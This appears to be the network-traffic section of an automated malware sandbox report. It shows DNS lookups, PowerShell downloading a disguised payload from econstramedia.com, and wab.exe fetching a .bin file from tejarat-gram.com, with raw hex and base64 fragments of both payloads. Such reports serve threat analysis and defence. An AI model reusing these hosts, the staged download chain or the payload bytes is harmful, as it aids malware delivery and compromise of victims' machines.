Jul 15, 2024 17:37:56.329912901 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.329979897 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.330564976 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.330630064 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.331298113 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.331373930 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.331547022 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.331614017 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.373101950 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.373203993 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.373291969 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.373358011 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.373637915 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.373698950 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.414638996 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.414747000 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.414967060 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.415041924 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.496598959 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.496766090 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.496788979 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.496866941 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497056007 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.497114897 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497453928 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.497530937 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497539043 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.497592926 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497626066 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.497661114 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497670889 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.497685909 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497715950 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.497730970 CEST	49737	443	192.168.2.4	185.83.114.124

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 17:37:01.166383982 CEST	58861	53	192.168.2.4	1.1.1.1
Jul 15, 2024 17:37:01.448771954 CEST	53	58861	1.1.1.1	192.168.2.4
Jul 15, 2024 17:37:45.317444086 CEST	63160	53	192.168.2.4	1.1.1.1
Jul 15, 2024 17:37:45.410852909 CEST	53	63160	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 15, 2024 17:37:01.166383982 CEST	192.168.2.4	1.1.1.1	0xde13	Standard query (0)	econstramedia.com	A (IP address)	IN (0x0001)	false
Jul 15, 2024 17:37:45.317444086 CEST	192.168.2.4	1.1.1.1	0xb808	Standard query (0)	tejarat-gram.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 15, 2024 17:37:01.448771954 CEST	1.1.1.1	192.168.2.4	0xde13	No error (0)	econstramedia.com		103.211.216.55	A (IP address)	IN (0x0001)	false
Jul 15, 2024 17:37:45.410852909 CEST	1.1.1.1	192.168.2.4	0xb808	No error (0)	tejarat-gram.com		185.83.114.124	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

econstramedia.com

tejarat-gram.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	103.211.216.55	443	6716	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-15 15:37:02 UTC	173	OUT	GET /Samsende.jpb HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: econstramedia.com Connection: Keep-Alive
2024-07-15 15:37:03 UTC	209	IN	HTTP/1.1 200 OK Date: Mon, 15 Jul 2024 15:37:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 11 Jul 2024 11:48:44 GMT Accept-Ranges: bytes Content-Length: 483164
2024-07-15 15:37:03 UTC	7983	IN	Data Raw: 63 51 47 62 36 77 4a 71 72 62 73 44 6f 42 6b 41 36 77 4a 32 61 33 45 42 6d 77 4e 63 4a 41 52 78 41 5a 76 72 41 6e 45 49 75 55 6f 57 77 33 52 78 41 5a 74 78 41 5a 75 42 38 52 72 51 30 64 62 72 41 72 37 58 63 51 47 62 67 65 6c 51 78 68 4b 69 36 77 4c 52 7a 48 45 42 6d 2b 73 43 72 64 46 78 41 5a 75 36 77 70 70 33 71 65 73 43 43 33 62 72 41 6a 48 51 36 77 4b 66 2b 58 45 42 6d 7a 48 4b 63 51 47 62 63 51 47 62 69 52 51 4c 36 77 4a 50 48 6e 45 42 6d 39 48 69 63 51 47 62 63 51 47 62 67 38 45 45 63 51 47 62 63 51 47 62 67 66 6d 39 67 6c 51 46 66 4d 35 78 41 5a 76 72 41 68 67 69 69 30 51 6b 42 48 45 42 6d 2b 73 43 50 67 53 4a 77 2b 73 43 35 46 4e 78 41 5a 75 42 77 35 53 62 4a 41 56 78 41 5a 76 72 41 6d 41 68 75 73 56 48 4c 56 42 78 41 5a 74 78 41 5a 75 42 38 6c 70 Data Ascii: cQGb6wJqrbsDoBkA6wJ2a3EBmwNcJARxAZvrAnEIuUoWw3RxAZtxAZuB8RrQ0dbrAr7XcQGbgelQxhKi6wLRzHEBm+sCrdFxAZu6wpp3qesCC3brAjHQ6wKf+XEBmzHKcQGbcQGbiRQL6wJPHnEBm9HicQGbcQGbg8EEcQGbcQGbgfm9glQFfM5xAZvrAhgii0QkBHEBm+sCPgSJw+sC5FNxAZuBw5SbJAVxAZvrAmAhusVHLVBxAZtxAZuB8lp
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 78 50 70 63 37 51 4c 63 41 2f 6b 75 65 41 33 4f 61 42 74 49 55 57 48 4c 61 34 6c 7a 4b 41 38 4a 38 6f 44 47 38 6a 7a 71 4c 79 48 62 71 41 2f 49 39 59 75 56 6a 68 38 49 46 4e 6d 6e 39 54 31 70 54 58 30 62 74 36 2b 4d 6c 73 53 30 45 4d 36 67 62 31 66 30 41 79 4d 70 2f 4f 6e 64 77 57 69 6f 6b 67 6e 59 75 32 4f 7a 32 32 79 35 41 47 35 32 65 45 43 2f 5a 67 56 4c 63 79 37 75 41 67 7a 51 4f 6d 6a 78 33 70 44 34 33 74 65 43 31 41 75 77 66 54 58 53 6d 51 2f 4f 43 74 66 68 44 42 59 56 7a 54 55 51 64 45 36 65 6b 5a 35 4a 46 59 54 30 39 55 65 51 4e 30 4c 75 57 45 6e 4d 55 46 65 32 65 2b 4a 79 6f 6f 58 6b 58 48 52 77 44 53 43 31 55 74 47 53 6e 76 55 4d 47 6f 53 6d 79 50 73 76 50 41 74 38 4c 70 4d 33 4c 32 34 64 76 76 71 72 2f 47 38 73 78 6a 57 59 71 50 78 6b 32 42 75 Data Ascii: xPpc7QLcA/kueA3OaBtIUWHLa4lzKA8J8oDG8jzqLyHbqA/I9YuVjh8IFNmn9T1pTX0bt6+MlsS0EM6gb1f0AyMp/OndwWiokgnYu2Oz22y5AG52eEC/ZgVLcy7uAgzQOmjx3pD43teC1AuwfTXSmQ/OCtfhDBYVzTUQdE6ekZ5JFYT09UeQN0LuWEnMUFe2e+JyooXkXHRwDSC1UtGSnvUMGoSmyPsvPAt8LpM3L24dvvqr/G8sxjWYqPxk2Bu
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 30 54 6c 76 72 49 36 4d 49 53 4e 46 46 6b 67 53 71 6c 6f 30 47 52 7a 39 62 36 64 70 39 4e 6f 36 6a 39 4a 67 6f 6c 47 6e 66 65 42 4a 57 73 71 34 75 72 79 66 69 6b 4c 4b 53 36 4b 58 4b 59 71 36 2f 6c 41 6d 68 36 63 32 43 4e 41 48 4e 64 66 73 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 52 31 4d 65 73 70 30 49 64 37 45 4f 51 43 6a 63 38 32 47 57 32 32 49 36 33 4f 2f 34 64 5a 48 6a 55 4f 7a 41 76 75 57 48 4c 30 30 6b 64 73 41 39 70 2b 43 63 38 33 6a 7a 72 71 43 32 4b 30 41 2f 49 74 73 63 6f 53 6a 7a 71 30 2f 64 62 47 43 7a 4b 6c 50 63 56 62 4e 43 38 34 46 36 2b 72 42 7a 47 76 66 52 33 6e 64 57 59 41 4d 42 5a 34 4a 55 42 4e 47 2b 68 53 79 75 59 6f 61 6c 78 48 46 36 67 50 7a 49 4c 4c 33 70 52 4f 72 76 77 4d 59 72 Data Ascii: 0TlvrI6MISNFFkgSqlo0GRz9b6dp9No6j9JgolGnfeBJWsq4uryfikLKS6KXKYq6/lAmh6c2CNAHNdfsOzII0DsyCNA7MgjQOzII0DsyCNA7MgjR1Mesp0Id7EOQCjc82GW22I63O/4dZHjUOzAvuWHL00kdsA9p+Cc83jzrqC2K0A/ItscoSjzq0/dbGCzKlPcVbNC84F6+rBzGvfR3ndWYAMBZ4JUBNG+hSyuYoalxHF6gPzILL3pROrvwMYr
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 4c 6a 2b 53 4b 54 4b 4f 4d 44 32 59 65 45 7a 79 59 69 7a 38 6b 6d 6d 45 58 41 75 6d 73 4b 52 4e 33 48 49 35 4b 39 50 44 43 52 37 4c 55 56 4f 55 32 46 36 63 70 62 37 73 6d 31 6f 41 74 32 72 39 37 37 4e 53 4b 73 4e 55 69 66 49 38 36 34 6b 39 73 77 67 50 43 5a 66 52 75 2f 6f 38 69 6e 6f 67 6a 51 41 73 71 50 4a 65 33 54 5a 4e 4e 68 57 39 57 50 74 4c 61 77 75 59 47 6c 55 72 4b 56 50 77 70 4b 67 7a 53 34 31 44 70 50 64 74 64 33 4c 58 49 7a 4a 49 31 44 67 44 54 46 6b 50 4b 6a 64 53 52 69 41 74 73 49 76 55 43 4d 6b 41 4d 30 67 36 69 36 67 4d 78 32 5a 56 4c 43 4b 4b 69 66 4c 78 78 32 4f 6a 45 43 32 6e 71 54 59 47 77 35 47 4f 78 44 69 74 6b 6d 6b 31 31 77 70 50 54 65 4c 58 35 32 78 2b 56 4c 55 31 31 57 4e 77 69 7a 37 30 78 58 65 52 4f 69 4a 77 62 2b 4d 48 71 74 36 Data Ascii: Lj+SKTKOMD2YeEzyYiz8kmmEXAumsKRN3HI5K9PDCR7LUVOU2F6cpb7sm1oAt2r977NSKsNUifI864k9swgPCZfRu/o8inogjQAsqPJe3TZNNhW9WPtLawuYGlUrKVPwpKgzS41DpPdtd3LXIzJI1DgDTFkPKjdSRiAtsIvUCMkAM0g6i6gMx2ZVLCKKifLxx2OjEC2nqTYGw5GOxDitkmk11wpPTeLX52x+VLU11WNwiz70xXeROiJwb+MHqt6
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 38 5a 57 69 71 70 31 37 70 6e 53 2f 4f 42 76 52 55 39 47 52 76 41 63 31 77 4a 51 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 48 46 6a 4e 72 35 33 63 4a 6f 64 75 32 36 7a 61 30 47 34 69 61 2b 69 45 64 35 47 56 76 77 37 31 65 61 71 41 7a 41 4f 51 77 65 6f 44 73 79 43 55 67 45 4c 73 44 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6c 6e 4c 46 66 4e 30 67 77 70 38 35 30 46 48 7a 32 69 30 52 2f 2b 33 7a 77 42 30 49 35 48 4f 4a 56 37 31 4a 32 43 49 54 52 36 2f 4b 4c 5a 75 42 58 54 39 77 4d 37 73 52 66 34 42 2b 66 4b 59 37 75 33 6d 4d 76 41 77 44 70 34 34 77 4c 33 69 50 4c 58 38 69 4c 64 6f 6e 55 31 41 66 72 4b 4f 69 72 58 38 44 58 78 4d 75 6b 31 41 62 61 44 2b 2f 4c Data Ascii: 8ZWiqp17pnS/OBvRU9GRvAc1wJQ7MgjQOzII0DsyCNA7MgjQOzII0DsyCNHFjNr53cJodu26za0G4ia+iEd5GVvw71eaqAzAOQweoDsyCUgELsDQOzII0DsyCNA7MgjQOzII0DsyCNA7MglnLFfN0gwp850FHz2i0R/+3zwB0I5HOJV71J2CITR6/KLZuBXT9wM7sRf4B+fKY7u3mMvAwDp44wL3iPLX8iLdonU1AfrKOirX8DXxMuk1AbaD+/L
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 7a 39 41 47 75 46 4c 36 71 52 33 65 6a 4c 36 74 36 2f 67 49 63 4a 4c 5a 78 46 6f 4d 45 7a 47 51 6f 44 39 78 36 6b 64 32 61 50 4a 38 4e 4d 5a 4e 2f 52 4f 77 2f 2f 31 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6c 49 55 53 6c 70 76 52 59 50 66 35 4a 45 39 63 38 33 4d 6f 51 6e 65 68 56 47 74 4e 67 37 4d 30 34 30 70 79 6f 52 49 6a 7a 30 77 72 58 47 6e 41 38 55 7a 66 50 73 6a 68 38 58 50 5a 73 2b 77 73 78 4f 6b 5a 78 61 78 32 58 68 45 72 4e 4a 57 49 48 43 31 4f 6c 54 63 72 52 30 39 72 6e 48 2b 49 71 72 77 41 6b 42 67 43 32 30 65 72 32 41 69 4c 47 4c 46 48 57 6e 49 6f 37 6e 63 31 31 65 64 4f 34 36 4c 52 66 57 31 2f 37 54 53 51 63 31 4e 51 31 Data Ascii: OzII0DsyCNA7MgjQOzII0Dsz9AGuFL6qR3ejL6t6/gIcJLZxFoMEzGQoD9x6kd2aPJ8NMZN/ROw//1jQOzII0DsyCNA7MgjQOzII0DsyCNA7MglIUSlpvRYPf5JE9c83MoQnehVGtNg7M040pyoRIjz0wrXGnA8UzfPsjh8XPZs+wsxOkZxax2XhErNJWIHC1OlTcrR09rnH+IqrwAkBgC20er2AiLGLFHWnIo7nc11edO46LRfW1/7TSQc1NQ1
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 69 32 74 57 4c 6d 54 70 54 4e 6f 30 7a 6a 6a 75 4b 57 2f 6b 77 44 70 50 5a 44 50 71 55 30 37 2b 44 4e 49 4d 30 44 73 4e 46 43 76 2f 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 36 31 4d 38 39 51 75 6b 66 32 72 4b 50 48 4b 2f 37 30 30 41 59 52 63 6f 64 76 66 2f 6d 45 2b 4c 63 64 43 64 50 72 44 63 59 50 4f 44 45 63 74 66 54 67 75 41 62 7a 6d 6c 2f 55 35 30 45 67 41 61 58 46 68 47 42 6a 38 6d 70 53 34 73 79 43 4f 77 38 2f 62 44 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6a 51 4f 7a 49 49 30 44 73 79 43 4e 41 37 4d 67 6b 77 6a 4a 6b 66 39 78 39 61 32 73 4c 77 63 75 52 49 71 41 71 62 2f 4f 56 6a 6e 67 45 45 51 43 34 6d 56 7a 59 49 30 73 53 47 31 6b 4c 69 63 4f 74 63 66 2b 4b 45 42 43 4f 46 7a 6a 54 74 48 42 6c Data Ascii: i2tWLmTpTNo0zjjuKW/kwDpPZDPqU07+DNIM0DsNFCv/MgjQOzII0DsyCNA7MgjQOzII0DsyCNA61M89Qukf2rKPHK/700AYRcodvf/mE+LcdCdPrDcYPODEctfTguAbzml/U50EgAaXFhGBj8mpS4syCOw8/bDQOzII0DsyCNA7MgjQOzII0DsyCNA7MgkwjJkf9x9a2sLwcuRIqAqb/OVjngEEQC4mVzYI0sSG1kLicOtcf+KEBCOFzjTtHBl
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 4e 73 66 59 31 41 55 6c 2f 49 77 37 4d 31 59 75 38 50 72 77 75 6a 77 74 35 53 63 33 6f 41 2f 4e 64 58 48 2f 30 58 6c 41 4c 31 41 66 30 48 37 44 50 74 5a 4c 67 72 55 66 42 54 61 70 6f 58 72 4e 5a 4b 4a 35 61 34 35 38 63 36 73 57 54 44 71 2f 30 6e 4d 72 71 51 61 63 4e 52 6d 47 71 75 2f 39 57 71 67 66 2f 55 54 4d 33 6f 41 37 4d 67 73 74 37 70 47 72 4f 66 73 79 43 76 59 4f 78 67 7a 51 4f 6e 44 6f 6b 55 70 30 34 47 59 48 6a 37 66 49 37 46 6a 6e 57 2f 55 57 4b 34 6f 39 68 62 73 75 58 52 50 76 6d 75 2b 4d 36 4d 53 30 33 75 70 6c 37 7a 4d 73 6a 7a 57 7a 6e 61 72 75 6b 43 6a 4e 53 67 75 63 4c 56 6e 57 53 61 33 35 44 30 6f 77 70 50 52 35 46 4f 38 30 4a 53 50 50 35 32 66 66 4e 70 36 38 4e 36 4f 35 6c 76 52 36 38 70 6a 36 76 42 61 64 79 56 61 59 69 7a 49 70 43 37 30 Data Ascii: NsfY1AUl/Iw7M1Yu8Prwujwt5Sc3oA/NdXH/0XlAL1Af0H7DPtZLgrUfBTapoXrNZKJ5a458c6sWTDq/0nMrqQacNRmGqu/9Wqgf/UTM3oA7Mgst7pGrOfsyCvYOxgzQOnDokUp04GYHj7fI7FjnW/UWK4o9hbsuXRPvmu+M6MS03upl7zMsjzWznarukCjNSgucLVnWSa35D0owpPR5FO80JSPP52ffNp68N6O5lvR68pj6vBadyVaYizIpC70
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 48 68 4f 37 43 6f 37 47 74 70 2f 43 56 6c 5a 56 38 6d 56 79 35 63 74 50 42 4d 58 32 71 69 46 43 50 2b 4b 5a 49 4e 77 4d 51 74 53 4c 6f 61 44 2f 55 72 33 32 42 6e 73 79 43 4e 4f 5a 62 7a 6a 41 4f 4a 46 64 67 44 73 7a 53 6a 4b 31 41 66 37 41 4c 5a 37 6b 79 45 50 6c 69 48 6d 39 66 74 35 72 74 72 72 4a 6c 6b 6b 56 6a 50 51 39 52 75 76 5a 33 36 67 76 4e 64 54 67 66 6e 44 48 56 53 73 73 4d 52 79 4e 71 45 6e 58 6b 78 51 41 49 68 78 52 75 78 57 45 49 61 38 77 54 2b 30 74 68 48 55 74 44 47 48 69 34 62 68 4f 39 36 76 43 42 30 49 34 6c 4c 71 73 30 6a 54 61 69 4f 34 72 37 7a 6a 41 4f 6c 74 74 53 4e 77 33 61 59 37 45 59 77 52 70 4f 54 55 58 38 4d 4c 43 62 74 66 6c 54 6e 54 6e 42 54 55 55 76 66 35 54 72 76 51 46 4f 63 76 70 5a 6e 77 47 34 45 58 4e 38 43 34 41 52 6e 52 Data Ascii: HhO7Co7Gtp/CVlZV8mVy5ctPBMX2qiFCP+KZINwMQtSLoaD/Ur32BnsyCNOZbzjAOJFdgDszSjK1Af7ALZ7kyEPliHm9ft5rtrrJlkkVjPQ9RuvZ36gvNdTgfnDHVSssMRyNqEnXkxQAIhxRuxWEIa8wT+0thHUtDGHi4bhO96vCB0I4lLqs0jTaiO4r7zjAOlttSNw3aY7EYwRpOTUX8MLCbtflTnTnBTUUvf5TrvQFOcvpZnwG4EXN8C4ARnR
2024-07-15 15:37:03 UTC	8000	IN	Data Raw: 4d 4a 35 53 31 75 31 53 44 4e 41 37 30 2f 56 53 46 53 46 73 4d 38 4b 6f 48 39 55 30 7a 44 36 77 50 7a 49 4a 42 2b 6b 68 74 64 38 6e 50 4c 35 6c 34 70 32 6c 34 4b 4d 2f 62 58 72 37 5a 71 64 50 31 32 41 6c 39 65 49 4c 74 6f 2b 6a 56 31 55 47 64 75 48 79 54 41 50 41 70 65 6e 6b 59 70 70 63 76 47 55 43 34 2b 42 4b 6b 4e 31 65 6d 4d 69 45 6c 4b 33 6b 67 68 59 58 30 65 6d 46 62 5a 43 31 5a 75 52 46 41 38 47 75 4d 43 4b 57 43 39 65 41 71 62 36 50 68 7a 45 42 30 36 6f 2f 50 55 6f 58 78 55 51 62 52 6a 2f 39 57 4b 54 66 39 41 77 66 4e 5a 35 33 55 6a 6a 4f 56 38 34 75 59 67 44 51 4f 4d 63 38 46 4d 6b 30 33 59 41 7a 4d 67 6d 5a 4e 77 39 6b 4d 2b 30 30 76 59 41 7a 4d 67 70 32 4d 35 72 53 31 75 35 69 41 4e 41 37 4a 44 69 63 2f 53 56 6f 4d 34 76 56 52 64 2f 46 42 31 6a Data Ascii: MJ5S1u1SDNA70/VSFSFsM8KoH9U0zD6wPzIJB+khtd8nPL5l4p2l4KM/bXr7ZqdP12Al9eILto+jV1UGduHyTAPApenkYppcvGUC4+BKkN1emMiElK3kghYX0emFbZC1ZuRFA8GuMCKWC9eAqb6PhzEB06o/PUoXxUQbRj/9WKTf9AwfNZ53UjjOV84uYgDQOMc8FMk03YAzMgmZNw9kM+00vYAzMgp2M5rS1u5iANA7JDic/SVoM4vVRd/FB1j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	185.83.114.124	443	6020	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-15 15:37:55 UTC	182	OUT	GET /duWJGPYoYurORY170.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: tejarat-gram.com Cache-Control: no-cache
2024-07-15 15:37:55 UTC	241	IN	HTTP/1.1 200 OK Date: Mon, 15 Jul 2024 15:37:55 GMT Server: Apache Last-Modified: Thu, 11 Jul 2024 11:46:43 GMT Accept-Ranges: bytes Content-Length: 271424 Vary: User-Agent Connection: close Content-Type: application/octet-stream
2024-07-15 15:37:55 UTC	7951	IN	Data Raw: 1e 20 76 ab fe 6d 3c d9 96 d8 3b 0c 34 ed 7e 70 8b 3e 3a ca 23 61 05 be f0 b9 92 8c f2 61 46 4e d9 6d 1a 49 3d fa 75 5e 35 79 4d ee 65 5e ad 61 57 e8 82 44 34 d1 30 f7 20 71 86 7f 0e 88 c6 7f 7b 8c 91 00 9b 5a eb 23 44 a4 e7 c9 15 0a 6b 01 3b 3b e7 05 ea 4b 19 28 c9 b3 b0 b8 cf da 05 d9 49 01 71 d2 6c 27 85 67 d2 44 05 23 fc db a6 20 2d 2e 06 e5 63 74 38 c3 95 7e 81 6c 82 7d 6d f2 59 70 16 b6 21 a4 b1 ee c3 fb 0a c9 4f 89 28 e1 d2 43 06 a0 4a de 81 29 b2 5c 5c 9e e4 cd f6 26 84 fe 8f 3c 5c 5f 00 e6 b4 d4 2b 54 ca 56 3c b0 bd 17 59 52 6e ba ba e9 03 1d a2 5d c5 c6 14 47 d9 3d 55 d8 f8 a1 9e dc ae fb ca 28 aa ac 48 aa 32 db a7 35 51 de ea e2 00 c8 68 d0 a0 6e d7 85 2f 07 ae 58 7b 5a b5 db d8 9a 21 bc 67 c5 f8 9c 1e 84 4d 0b 7f b1 6f e3 e4 79 0d 36 24 d4 37 Data Ascii: vm<;4~p>:#aaFNmI=u^5yMe^aWD40 q{Z#Dk;;K(Iql'gD# -.ct8~l}mYp!O(CJ)\\&<\_+TV<YRn]G=U(H25Qhn/X{Z!gMoy6$7
2024-07-15 15:37:55 UTC	8000	IN	Data Raw: 32 51 0b 81 aa 29 fa 8b c1 a8 a1 9b 34 97 4d 9b d4 8e 37 11 1b e2 1b 80 78 ae 4c 88 73 a4 9e af 86 11 b5 ca 34 aa 8f 6b 7a 0a 10 94 a3 d6 45 74 5d 8e 58 6c 38 ad b8 bb d6 c5 2e 12 e5 7b 64 84 9d c2 19 35 5e e3 60 04 8d 14 22 3a ae e1 d8 ea 97 3e 39 02 00 ab b8 a7 c2 f9 e6 17 1c 54 5f 05 05 e3 c1 85 4e 06 03 45 e1 8b 41 b8 81 6f 50 b2 6d d1 e2 38 cf 05 47 06 96 f0 9a b1 1d 80 6a 29 1a f4 d9 cd dc 0b b1 82 f9 ec d8 6b ce 3a e2 19 91 01 00 78 84 83 ee cd 5a 78 59 a6 72 fb 75 77 6a 04 35 2f cd 20 e2 0b 78 fd 1b f1 5a 64 76 2d 77 83 b8 93 51 7f ee e8 81 af 4f 9f 4b fd 59 1b 73 19 53 1a ca 1f 5c d6 f7 50 59 09 39 c6 84 1a ea 48 11 23 6c b4 78 6c e6 3f 06 5a 8a 03 f0 29 58 37 85 67 ae 9f 8f 6e 03 e8 66 ad b6 2e 06 e5 63 4e b4 c4 fd 7c 81 6c 4e 7a 2d c9 91 19 5e Data Ascii: 2Q)4M7xLs4kzEt]Xl8.{d5^`":>9T_NEAoPm8Gj)k:xZxYruwj5/ xZdv-wQOKYsS\PY9H#lxl?Z)X7gnf.cN\|lNz-^
2024-07-15 15:37:55 UTC	8000	IN	Data Raw: de 86 c9 3f 64 0c f2 22 d0 c0 f0 50 bc 28 2f 1c d0 c2 3a d1 b9 6e 68 ed 60 46 56 a7 e3 64 cb ca 6e 00 5b 09 d8 e2 1e 83 8a 3a 06 43 23 f9 29 75 c4 df 02 e3 ac 7d 27 e5 d7 2a 3b 78 0b 6f 10 3b cd ff 97 57 eb 38 97 93 e1 58 05 81 ee ed ad 8b ad 1a a4 42 f4 72 76 d2 f6 d3 05 70 bc 9b a2 55 39 a5 8c 7b 36 3a 12 3e 74 66 16 9d 79 28 a3 18 42 cb 37 a4 ac f0 12 cc 75 4e a3 1b f1 6a 16 b6 05 f2 66 7f 0a 17 77 de a0 ee c6 52 98 30 6a 9b 1b c8 44 d2 ab fe 7b 59 d7 97 b5 50 c5 fd b9 5e dc dc 34 e9 d3 ed 01 58 94 ca 31 88 3d 5c 37 b2 b4 87 ca 41 e4 1e 20 12 63 55 bd a6 35 af bd d0 3d 4b 6e 8b ab 81 0f ff 32 89 b3 03 41 c7 5d 10 a3 0d 02 8e a8 26 1b ce 80 f7 5a 02 b0 ea 4a 9b 4b 20 32 03 f6 6f cd 9e 6d 24 97 cc a7 3f 06 68 a7 ef cc 89 43 02 d5 15 3b c2 3f 84 bb 68 cd Data Ascii: ?d"P(/:nh`FVdn[:C#)u}'*;xo;W8XBrvpU9{6:>tfy(B7uNjfwR0jD{YP^4X1=\7A cU5=Kn2A]&ZJK 2om$?hC;?h
2024-07-15 15:37:55 UTC	8000	IN	Data Raw: 3c 72 50 49 4c 88 e7 b9 3f 20 69 9f d7 ca 0f 5b f4 08 13 2d 7b e6 70 2b 21 a8 f4 1c 7f d1 d0 47 7b 75 9e 14 02 b6 2d b0 35 bc 88 d4 d6 a5 f3 7c 02 48 cd cf 76 11 3c db ea 7b 02 f4 6e d4 f0 13 32 7d 45 50 99 8a 12 45 92 df b9 05 18 13 ed 7c 28 7f 10 1a e5 d8 19 3a ff a9 c8 2c 17 86 a4 fe 56 5d b2 d4 17 64 21 2d 91 1d 56 52 23 56 39 91 64 26 92 26 3d 2c 8c 94 56 8c 8d 47 29 ef ae b8 d2 5b a5 fb bf 48 59 e9 41 c6 43 a3 fb 85 00 e7 0a e1 85 37 5f 62 34 be 59 65 ac 86 b6 8c 52 80 28 62 2c 0e 73 4e 17 62 e1 85 e8 c7 a4 5d de f8 d1 8d cc a2 2b b5 c8 00 91 75 1b 1c 1c 8b b7 02 5f b6 47 58 42 5a 6e a4 92 31 5d 3e 71 79 14 0c 2b 97 3e 9c ab 5b 5a c6 ff 27 a7 66 59 be b4 1d 60 36 46 0f 93 f9 71 af 7a 0b 88 72 53 cf 15 dd c3 7a fa f1 c9 1a 9d a0 40 d8 a2 f1 26 d0 d2 Data Ascii: <rPIL? i[-{p+!G{u-5\|Hv<{n2}EPE\|(:,V]d!-VR#V9d&&=,VG)[HYAC7_b4YeR(b,sNb]+u_GXBZn1]>qy+>[Z'fY`6FqzrSz@&
